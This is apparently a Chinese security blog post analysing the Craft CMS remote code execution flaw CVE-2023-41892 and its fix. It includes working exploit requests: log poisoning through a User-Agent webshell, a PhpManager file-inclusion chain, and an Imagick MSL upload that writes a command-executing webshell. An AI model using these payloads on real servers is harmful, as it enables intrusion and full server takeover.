CVE-2023-41892 Craft-CMS-远程代码执行漏洞

文摘   科技   2024-01-12 09:47   广东  

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

前言


该漏洞主要围绕着”任意类实例化”利用,从这个利用点引生出了另一个利用点”原生类利用” + 任意类实例化 => 原生类利用

这个点在php的ctf考题中其实多次出现,也很久没有审计php的源代码了,捡回一些以前的知识,这也是我工作后的第一个php审计的文章。主要从以下几点进行分析 


  1. 为什么会存在任意类的实例化?

  2. 怎么利用这个任意类的实例化?

  3. 如何修复这个漏洞?


CVE-2023-41892是在流行的内容管理系统Craft CMS中发现的安全漏洞。2023年9月,官方发布安全公告,披露 CVE-2023-41892 前台远程代码执行漏洞,攻击者可构造恶意请求执行任意代码,控制服务器。受影响版本为:+ >= 4.0.0-RC1 + <= 4.4.14
根据下面两步搭建好环境即可:https://lanyundev.com/posts/d2be7205 https://craftcms.com/docs/3.x/installation.html#step-6-run-the-setup-wizard


02

为什么会存在任意类的实例化?

https://github.com/advisories/GHSA-4w8r-3xrw-v25g 通过修复补丁可以看到存在漏洞的文件为 src/controllers/ConditionsController.php 在yii的路由处理中,会优先处理处理该controller下的beforeAction()方法

请求首页index查看一下调用beforeAction()调用栈,会优先调用Controller自己实现的beforeAction()后再进行父类beforeAction()的依次调用..

Controller.php:222, yii\web\Controller->beforeAction()

Controller.php:131, craft\web\Controller->beforeAction()

TemplatesController.php:75, craft\controllers\TemplatesController->beforeAction()

Controller.php:176, yii\base\Controller->runAction()

Module.php:552, yii\base\Module->runAction()

Application.php:304, craft\web\Application->runAction()

Application.php:103, yii\web\Application->handleRequest()

Application.php:289, craft\web\Application->handleRequest()

Application.php:384, yii\base\Application->run()

index.php:12, {main}()

在这里发现\craft\controllers\ConditionsController::beforeAction()方法里存在任意类的实例化,但是这个其实并不是直接跟着调用链可以看出来的,利用了php类里的一些魔术方法,所以这里的思路算是比较有特点可以学习的地方。

\craft\controllers\ConditionsController::beforeAction()

在这个方法里接受了传来的参数,并带入到41行和42行方法中进行调用


因为利用点是任意类的实例化,所以利着重跟进分析一下41行和42行。由于传入的参数均是我们可控的,所以就不在后续过多的阐述参数问题。

41行 => $this->_condition = $conditionsService->createCondition($config);

从名字上就可以看出它是用来创造Condition类实例的,看一下整个代码的流向。跟进后createCondition()后发现实例化出来的类必须是实现了ConditionInterface的接口的,也就是说在这个地方还不能让我们任意类进行实例化,存在类型接口限制。

在进一步createObject()的实现如果参数里有class或__class就会调用容器里去获取对应的实例。这个实现就是springboot的ioc控制反转,把类交给容器创建然后去容器里取。get()方法中若取不到则调用$this->build()进行类的实例化并赋值。



其实到目前为止上面的分析也就分析出了创建了一个实现了ConditionInterface接口的子类对象。

42行 => Craft::configure($this->_condition, $baseConfig);

其实非常简单,就是对这个类重新赋值(因为在刚刚最后创建对象的时候,有个循环也给对象属性赋值了)


这两行分析完了以后,分析出来的只有一个ConditionInterface接口的子类对象实例化并赋值,在我们面前呈现的并没有”任意类”的实例化这个利用点。那利用点在哪?对于php类的玩法,离不开php的魔术方法,赋值操作很容易想到的就是__set()方法。 > 在给不可访问(protected 或 private)或不存在的属性赋值时__set() 会被调用。

由于刚刚分析了两行代码,发现实例化的对象一定是ConditionInterface的子类,而通过类图关系可以知道其对应的父类BaseCondition是继承至yii\base\Component的。那么也就是说对一个不存在的成员变量赋值,会调用到yii\base\Component::__set()



\yii\base\Component::__set

如果参数名由as开头,那么会调用到Yii::createObject($value),这里就不在走一遍了,因为其实刚刚到beforeAction()也有过这个方法,但是是由于没有经过createCondition方法,所以没有子类限制从而达到了任意类的实例化了!



03

怎么利用这个任意类的实例化?


我这里有两个思路: 1. 项目本身利用:代码中是否存在__destruct()和__contruct()可以利用的方法 2. 语言本身利用:php原声类利用(ctf很喜欢考)


FnStream

\GuzzleHttp\Psr7\FnStream::__destruct

这个利用的就是项目本身存在的利用点,该函数在销毁时会调用call_user_func()进行一个任意函数的执行。



poc:

// 自己的

action=conditions/render&ba3s=craft\elements\conditions\ElementCondition&config={"name":"ba3s","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":"phpinfo"}]}}



// 网上的

action=conditions/render&ba3s=craft\elements\conditions\ElementCondition&config={"name":"ba3s","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"ba3s":null}],"_fn_close":"phpinfo"}}

其实这两个poc是一样的,但是为什么我的参数比它的参数少,其实只要好好读刚刚的代码就知道为什么了。网上的poc利用的是在实例化后,在build()方法中仍然会给对象的属性赋值,所以只要构造函数的参数满足条件成功实例化对象。那么赋值完成后,当类被销毁时就会触发__destruct()同样会有_fn_close=phpinfo的属性。 而我的poc是直接在实例化时__construct()方法中就对他进行实例化,其实两个达到的效果是一样的。

但是这个利用只能停留在poc阶段,因为它的__destruct方法只接受一个参数,也就是说只能执行phpinfo()这类无参数的方法,而像eval($cmd)就无法执行了。


BaseObject


yii\base\BaseObject::__construct

这个利用还不能单纯的去找__contruct()和__destruct()方法,类的调用关系更复杂,但是去找这两个方法目标点是没错的。该类的__construct()方法中调用了刚刚分析beforeAction()时也调用了的方法configure()进行对类属性的赋值。并且存在$this->init()的调用,但是在这个类了的init()方法是空的。 



那么这里寻找的条件就有以下几点: 1. BaseObjec的子类 2. 没有__contruct()方法 => 这样才能调用父类BaseObject的__contruct() 3. 重写了init()方法且内部可利用 => 因为父类BaseObject的init()为空

那么就找到了\yii\rbac\PhpManager::init方法,该方法在内部调用了load()进而调用\yii\rbac\PhpManager::loadFromFile方法可以进行文件包含。 (我只能说这个都能找到是真tm牛逼)



和之前流程分析的一样,开始调用yii\di\Container->build()后,对PhpManager进行初始化操作,但是由于它没有自己的__construct(),于是调用父类的yii\base\BaseObject->__construct()进行初始化,于是就来到了上图所说的流程。所以完整的调用栈是这样:

PhpManager.php:783, yii\rbac\PhpManager->loadFromFile()

PhpManager.php:720, yii\rbac\PhpManager->load()

PhpManager.php:93, yii\rbac\PhpManager->init()

BaseObject.php:109, yii\base\BaseObject->__construct()

Container.php:411, ReflectionClass->newInstanceArgs()

Container.php:411, yii\di\Container->build()

Container.php:170, yii\di\Container->get()

BaseYii.php:365, yii\BaseYii::createObject()

Component.php:191, yii\base\Component->__set()

BaseYii.php:558, yii\BaseYii::configure()

ConditionsController.php:42, craft\controllers\ConditionsController->beforeAction()

Controller.php:176, yii\base\Controller->runAction()

Module.php:552, yii\base\Module->runAction()

Application.php:304, craft\web\Application->runAction()

Application.php:633, craft\web\Application->_processActionRequest()

Application.php:283, craft\web\Application->handleRequest()

Application.php:384, yii\base\Application->run()

index.php:12, {main}()

那有文件包含了,该包含哪里的文件呢?那第一想到的绝对是日志文件,yii的Logging | Craft CMS Documentation | 4.x 日志文件时是放在storage/logs/目录下的,可以看到里面有报错的调用栈以及请求的相关信息。那么请求的时候只需要携带木马包含文件即可



发送任意请求携带php木马信息,就会被记录到日志中

User-Agent: <?php `echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=\|base64 -d>shell.php`;?>



此时只需要调用这个利用链包含日志文件,即可执行我们的php代码。使用exp访问即可:

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}


04

Imagick 加载临时文件

这里有两个关于这个类的利用文章,这里不做深入探讨,感兴趣的可以了解一下php原生类,其实还有很多利用点,简单说一下前置知识。 1. https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 2. 任意代码执行下的php原生类利用

1.MSL: MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read>和<write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell

2.vid协议: ImageMagick中有一个协议vid,会调用 ExpandFilenames 函数,可以用于包裹其他协议或者文件名,其增加了对 glob 通配符的支持,这样我们就可以通过*的方式来包含一些我们不知道完整文件名的文件

那么通过上面即可知道new Imagick('vid:msl:/tmp/php*');让 Imagick 加载并解析 PHP 上传的临时文件。 1. <read>标签可以读取一个图片,图片可以来自于远程http,也可以来自于本地 2. <write>标签可以将前面获取的图片写入到另一个位置,而且文件名可控 3. <comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可

同样我们也不违背刚刚所挖掘的思路,寻找的是__contruct()和__destruct()利用点,看一下这个类的__contruct(),下图中可以看到它的构造函数只有一个参数,可以是字符串或字符串数组,只不过这个挖是挖不出来的,这就是平时的利用链罢了,例如反序列化的,平时没有用,关键时候就站出来了… 



利用这个服务器上得开启一下这个扩展,我在本地mac先安装一下:

brew update

brew install imagemagick

pecl install imagick



一种方法就是利用本地图片,这个利用是什么意思呢?举个例子,比如写死的后缀名上传文件,这时候只能穿图片,利用这个poc就可以将你的图片变成shell木马了。

<?xml version="1.0" encoding="UTF-8"?>  

<image>  

<read filename="/usr/share/doc/ImageMagick-7/www/wand.png"/>  

<comment>HTML实体编码后的Webshell</comment>  

<write filename="shell.php" />  

</image>

下面是要重点说的方法就是使用caption:和info:协议

POST /index.php HTTP/1.1  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36  Accept: */*  Host: 192.168.111.178:8080  Accept-Encoding: gzip, deflate  Connection: close  Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955  Content-Length: 850    ----------------------------974726398307238472515955  Content-Disposition: form-data; name="action"    conditions/render  ----------------------------974726398307238472515955  Content-Disposition: form-data; name="configObject"    craft\elements\conditions\ElementCondition  ----------------------------974726398307238472515955  Content-Disposition: form-data; name="config"    {"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}  ----------------------------974726398307238472515955  Content-Disposition: form-data; name="image"; filename="poc.msl"  Content-Type: text/plain    <?xml version="1.0" encoding="UTF-8"?>  <image>  <read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>  <write filename="info:/var/www/html/craft/web/shell.php">  </image>  ----------------------------974726398307238472515955--

05

如何修复这个漏洞?

其实说到底,这就是个任意类实例化的漏洞,让用户为所欲为实例化类,所以在官方修复Fixed an RCE vulnerability这个漏洞连接也可以看到其修复对传入的 config 进行处理,移除所有以on 或者 as 开头的键,这导致我们无法通过调用__set()里判断as 或者on 开头的键去实例化对象了










A9 Team
A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践,期望和朋友们共同进步,守望相助,合作共赢。
 最新文章